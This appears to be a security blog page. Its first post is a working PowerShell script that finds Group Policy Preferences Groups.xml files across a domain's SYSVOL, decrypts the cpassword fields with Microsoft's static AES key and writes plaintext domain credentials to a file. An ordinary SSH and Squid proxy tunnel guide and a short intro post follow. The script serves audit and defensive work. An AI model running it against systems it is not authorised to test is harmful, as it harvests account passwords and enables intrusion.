PShell Script: Extract All GPO Set Passwords From Domain

This script parses the domain’s Policies folder looking for Group.xml files.  These files contain either a username change, password setting, or both.  This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences.  Microsoft chose to use a static AES key for encrypting this password.  How awesome is that!

The password is encrypted once with AES  in CBC mode at 256 bits.  The key used is:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

A big thank you to my friend Keith B who helped me with tips for the PowerShell code.  I definitely do not have a background working with PS and learned some cool things along the way.

This script was modified from original work by Chris Campbell as noted in the comments.

Update:  21 Oct 2012:  With feedback from Piet Carpentier (@DFTER) and ‘Joe’ I’ve modified the decryptPassword function to correct an issue where the string was sometimes too long or not returned which was returning as a failed decryption rather than a missing string or incorrectly decoded string.  Thanks guys!

Update:  14 Dec 2012:  Reviewed this and found a couple things I could fix or improve on.  The functions return better information and I fixed a bug that caused decryption failures in some cases.

Running this script:

  • Run it against the current domain to find everything:
    • PS C:\> .\GPO-Passwords.ps1
  • Run it against a local copy of a Groups.xml file:
    • PS C:\> .\GPO-Passwords.ps1 -local .\Groups.xml
# Group Policy Preferences Password check by:   #
# Nathan V                                      #
# Cyber Security Analyst                        #
#                            #
#                                               #
# For assistance and new versions contact       #
#                            #
# This file updated: 14 Dec 2012                #
# This script (c)2012 Nathan V : License: GPLv2 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
#          #
# Based on Get-GPPPassword by:                  #
# Chris Campbell                                #
#              #
# @obscuresec                                   #

# Import the Group Policy module;  required for finding the GPO name for each password.  If this fails the names will not resolve but other functions will still work.
import-module grouppolicy -ea SilentlyContinue
$results = @()  # declare dynamic results array

# Function to allow us to go to the network DIR and then return back to where we started
function cdir {
    if ($args[0] -eq '-') {
        } else {
        if ($pwd) {
            Set-Location $pwd;
    Set-Variable -Name OLDPWD -Value $tmp -Scope global;

#Function to pull encrypted password string from groups.xml
function parsecPassword {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $cPassword = $Xml.Groups.User.Properties.cpassword
    } catch { $cPassword = "No Password Policy Found" }
    return $cPassword
#Function to look to see if the administrator account is given a newname
function parseNewName {
    try {
    [xml] $Xml = Get-Content ($Path)
    [string] $newName = $Xml.Groups.User.Properties.newName
    if ($newName) {
      return $newName
    } else {
      return "No Username Specified"
    } catch { $newName = "Error" }
#Function to parse out the Username whose password is being specified
function parseUserName {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $userName = $Xml.Groups.User.Properties.userName
    if ($userName) {
      return $userName
    } else {
      return "No Username Specified"
    } catch { $userName = "Error" }

#Function that decodes and decrypts password
function decryptPassword {
    try {
    if( $cPassword.Length -eq 0 ) {
      return "Empty Password!"
    } elseif( $cPassword.Length -gt 64 ) {
      [string]$cPassword = [string]$cPassword.Substring(0,64)
    } else {`
      [string]$Pad = "=" * (4 - ($cPassword.length % 4))
        $b64Decoded = [Convert]::FromBase64String($cPassword + $Pad)
        $aesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $aesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        $aesIV = New-Object Byte[]($aesObject.IV.Length)
        $aesObject.IV = $aesIV
        $aesObject.Key = $aesKey
        $decryptorObject = $aesObject.CreateDecryptor()
        [Byte[]] $outBlock = $decryptorObject.TransformFinalBlock($b64Decoded, 0, $b64Decoded.length)
        return [System.Text.UnicodeEncoding]::Unicode.GetString($outBlock)
    } catch { return "Decryption Failed!" }

# Function to find the policy name to locate where the password is valid
function getGPO {
    $guid = $Path.Substring(1,36)
    try {
        $gpoName = get-gpo -guid $guid | Select-Object -ExpandProperty DisplayName
    } catch {
        $gpoName = "Unable to find GPO name"
    return $gpoName

# Function to parse the XML, decrypt the key, and return the results.
function parseDecrypt($path) {
    $cPassword = parsecPassword
    $password = decryptPassword
    $newName = parseNewName
    $userName = parseUserName
    if ($localfile -eq $null) {$gpo = getGPO} else {$gpo = "Local file"}
    $results = "$username, $newName, $password, $gpo"
    return $results
if ($localfile -eq $null) {
    Write-Host "Searching $Env:UserDNSDomain for Group Policy Preferences passwords."
    Write-Host "On a large domain this may take some time. Please wait..."
    $sourceXML = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies" -recurse -name -include Groups.xml
    cdir \\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies\  # Due to the potential length of the filenames given a long domain name we CD to the Policies folder to shrink it down
    } else {
    Write-Host "-local used; checking file $file"
    $sourceXML = $localfile

Write-Host " "
Write-Host "Username, New name (if any), Password, source GPO:"
Write-Host " "

foreach($file in $sourceXML) { 
    $results += parseDecrypt $file
if ($localfile -eq $null) {cdir -}
"Username, New name (if any), Password, source GPO:" > ".\domain_passwords.txt"
foreach($result in $results) {
    Write-Host $result
    $result >> ".\domain_passwords.txt"
Write-Host " "
Write-Host "List of discovered setttings saved as .\domain_passwords.txt"

More Information:

Secure Browsing From Anywhere

Do you trust the wifi you’re using at Starbucks?  Maybe that hardline at the hotel is sketchy.  You never know who is on the network with you and what their skills and motivations might be.  Why share anything with them if you don’t have to?  What the sections below cover is setting up a secure proxy server that you have control of to allow you to surf the internet on even the most questionable connections without having to worry about eavesdroppers and MITM attacks.  We’ll set up a linux server, SSH with certificate authentication, and then start browsing through an encrypted tunnel.  Your SSHD options may dictate another setting but typically this tunnel will be secured with AES-256 which is a secure and fast cypher.  AES-256 is what’s used with other encrypted storage or communications like BitLocker, IronKey devices, and SSL.

This does assume that you have some technical background already but I tried to make things pretty easy.  If there are any questions please add them in the comments and I can try to answer there or add them into the post.

The first section below covers the setup and initial configuration of the proxy server.  In this example we’re using a linux server and the Squid proxy.  Linux natively supports SSH for the encrypted tunnel and Squid is an excellent open-source proxy solution that also provides web caching.  You can set up a similar solution using SSH via a Windows server but it requires a more involved setup process as SSH isn’t natively a part of the Windows OS.

The second section describes the client setup and use from either linux or Windows.  The linux instructions should work for Mac users as well.  Once the proxy is up and online using it from your client system is easy and straightforward.

The third section is optional as it’s additional configuration that doesn’t have a major technical effect as we’ve already encrypted everything but what it does to is prevent the sites your visiting from knowing you’re even using a proxy.  The possible implications of that would be altered behavior of the site due to your IP being identified as from another nation or similar.  For example, some sites limit your access based on your location because of copyright reasons. While this is not meant to be an assist to violating copyrights that ability is there.  The goal for me in this was being able to get US internet while abroad.  I can’t watch Netflix movies from Europe on my US Netflix account but it works well when I pass my traffic via my transparent US proxy server.

In the last section I’ll address an additional configuration option for Firefox that will also prevent information leakage via your DNS requests.  What the setting does is tell Firefox to forward DNS requests to the proxy server to answer rather than querying the DNS server your client system is pointed to.  This means that if an attacker is listening on the wire they are unable to see what sites you’re browsing based on your DNS queries.

If you don’t have a handy dandy home linux server like I do then you’ll want to get one set up or use a cloud provider.  Amazon Web Services provides an intro tier that gives you enough free utilization to run a small linux server for a year and a fair amount of bandwidth along with several other services.  You can sign up for this at  Just keep an eye on your bandwidth usage and you can use it 100% free.  It’s cheap after you get out of the free tier but keep in mind it does cost money if you use more than the allotted free amount.  Beyond that there are other options (all paid) by using Linode, Rackspace, or others.  There’s no option for a linux server with Azure (yet?) so don’t try there unless you want to try to set this up on Windows.


Note:  These instructions assume that they are run as an administrative user such as root.  If you will be using a non-administrative user with sudo rights just keep in mind most of these commands require sudo first.  Also, note that the instructions below are based on completing this on Ubuntu, Arch, or Fedora.  The packages specific to your system may vary slightly if you’re using another distribution.  You can check the online references or package lists to verify which package is right for you.


Part 1: Server Setup (Linux)

1. Make sure your server’s firewall is secure. You’re going to be installing a proxy server and you don’t want the world trying to use it. How you choose to do this is up to you but IPTables is a solid option.  Make sure, however, that you are careful with the rules or your own connections will be blocked as well.  If there’s interest I’ll add an IPTables how-to onto here as well.  If you are using an AWS VM the default setting is very secure as it doesn’t allow anything through you haven’t already specified.  If you haven’t done so already make sure the server is up to date as well.  Example: apt-get upgrade or yum update or pacman -Syu

2. Install SSH if not already present. Example: apt-get install openssh-server or yum install openssh-server or pacman -S openssh

3. Set up SSHD. You can find the config usually in /etc/ssh/sshd_config.  Example:  nano /etc/ssh/sshd_config
— a. Set port to something high and/or unusual like 45454
— b. Disable password authentication.
— c. Disable remote root login
— d. Enable logging to SYSLOG for all AUTH if not already enabled
— e. Ensure RSA logins are enabled and using .ssh/authorized_keys or another to your preference.  Here I will assume .ssh/authorized_keys

4. Create a new user on the system. I recommend using -m to create the home directory in advance.  If you’d like to be able to use this account for administrative functions you can also use -G to specify the group the user should belong to.  For Ubuntu you would use the second example provided.  Example:  useradd -m newuser  Example 2:  useradd -Gm newuser,wheel

5. Use ssh-keygen to generate an ssh key for this user. I recommend using -b 4096 -t rsa to use a 4096bit RSA certificate.  Example:  ssh-keygen -b 4096 -t rsa

6. Copy the public key into the users authorized key file. Create the file and folder if needed. Example: cat > /home/newuser/.ssh/authorized_keys

7. Use chmod to change the permissions of the file to 0600 so it is recognized by SSHD.  Example: chmod 0600 /home/newuser/.ssh/authorized_keys

8. Copy the private key to the system you’ll be connecting from.  Make sure you name it something obvious so you’ll be able to find it again.  Example:  newuserkey.pem

9. Start/restart SSHD. If SSHD is running use /etc/rc.d/sshd restart or /etc/init.d/sshd start or service sshd restart. Which works will depend on your distro.  If not running use start instead of restart.

10. From the other system use PuTTy or SSH to test the connection and make sure it works and the key works. If you’re not familiar with this process use the instructions in Part 2.  Example: ssh -i newuser.pem newuser@server -p 45454

11. Once SSHD is verified go back to the server and install Squid. Example: yum install squid or apt-get install squid or pacman -S squid

12. The Squid default config will be fine for our purposes but you can harden it by editing /etc/squid/squid.conf or wherever you installed to.

13. Start Squid. Example: /etc/rc.d/squid start or /etc/init.d/squid start or service squid start

14. Use chkconfig to verify the services for Squid and SSH start automatically.  Run  chkconfig   to see the current setting.
•  a. If one of both of the services aren’t set to on at any run level you can fix that also using chkconfig.
•  b. To start Squid automatically use the first example.  The second is for SSHD.  Example:  chkconfig –level 2345 squid on Example 2:  chkconfig –level 2345 sshd on

16. Validate that the firewall between this system and the internet allows incoming connections on the port you chose.


Part 2: Using your new RSA encrypted secure proxy

Part 2a: Linux Client system

1. From a remote site verify you have internet connectivity.

2. Verify that SSH back to your server is working. Example: ssh -i newuserkey.pem newuser@server -p 45454

3. Disconnect and reconnect with tunneling enabled targeting the Squid port. Example: ssh -i newuserkey.pem -L 8080:localhost:3128 newuser@server -p 45454

4. Open your browser and change the proxy setting to  In Firefox this is in Options -> Advanced -> Network -> Settings

5. Attempt to open a web site. You should be able to browse like normal.

6. Congrats! You are now browsing inside an encrypted tunnel!

Part 2b: Windows Client Cygwin Method

1. From a remote site verify you have internet connectivity.

2. Install Cygwin from

3. Open the Cygwin terminal and verify that SSH back to your server is working. Example:  ssh -i newuserkey.pem newuser@server -p 45454

4. If that succeeds disconnect (just type exit) and reconnect with tunneling enabled targeting the Squid port.  Example:  ssh -i newuserkey.pem -L 8080:localhost:3128newuser@server -p 45454

5. Open your browser and change the proxy setting to for all protocols.  In Firefox this is in Options -> Advanced -> Network -> Settings

6. Attempt to open a web site. You should be able to browse like normal.

7. Congrats! You are now browsing inside an encrypted tunnel!

Part 2c: Windows Client PuTTy Method

1. From a remote site verify you have internet connectivity.

2. Install Putty using the Windows installer from

3. Open up PuTTyGen and import your newuserkey.pem certificate file.

4. Save the new PuTTy formatted key by clicking Save Private Key. You can ignore the prompt about not passwording the file.  It will now have a PPK extension and look like newuserkey.ppk

5. Open the main PuTTy program and type or paste in the server’s DNS name or IP and correct the port number to the one you set SSHD to.

6. In the left-side menu select SSH and then Auth to get to the SSH Authorization section.  Click browse next to Private Key File For Authentication and select your newuserkey.ppk file.

7. At the bottom of the window type in a name for the config and click Save and then Connect to test the connection.

8. If that succeeds disconnect (just type exit) and reopen PuTTy.

9. Once PuTTy is open select your saved config and click on Load.

10. Now that your config is loaded use the left-side menu to select SSH and then tunnels

11. Type in 8080 in the source port and for destination use and click Add.

12. Click on Session at the top of the menu and click Save to save your updated config.

13. Click on connect to start a new SSH connection to the server.

14. Open your browser and change the proxy setting to for all protocols.  In Firefox this is in Options -> Advanced -> Network -> Settings

15. Attempt to open a web site. You should be able to browse like normal.

16. Congrats! You are now browsing inside an encrypted tunnel!


Part 3:  Hide the proxy flags (optional)

1. Open your Squid config file for editing (Example: nano /etc/squid/squid.conf) and add the following lines to the bottom:

Squid 2.x:

via off
follow_x_forwarded_for deny all
forwarded_for delete
request_header_access From deny all
request_header_access Server deny all
request_header_access WWW-Authenticate deny all
request_header_access Link deny all

Squid 3.x:

via off
forwarded_for delete
request_header_access X-Forwarded-For deny all
request_header_access From deny all
request_header_access Server deny all
request_header_access WWW-Authenticate deny all
request_header_access Link deny all


Part 4:  Extra Firefox Settings (all clients)

1. Open up Firefox and in the URL bar type in about:config

2. Find the setting network.proxy.socks_remote_dns and change the value to true


More Information:

My turn, yeah?

It’s really about time I started blogging all these interesting things I find and review in the security world.  I’ll be sharing information and articles I find interesting and adding additional commentary or analysis to them when appropriate.  I’ll probably post some code snippets from time to time as well.  I’m not primarily a developer but some knowledge and understanding is obviously part of the field.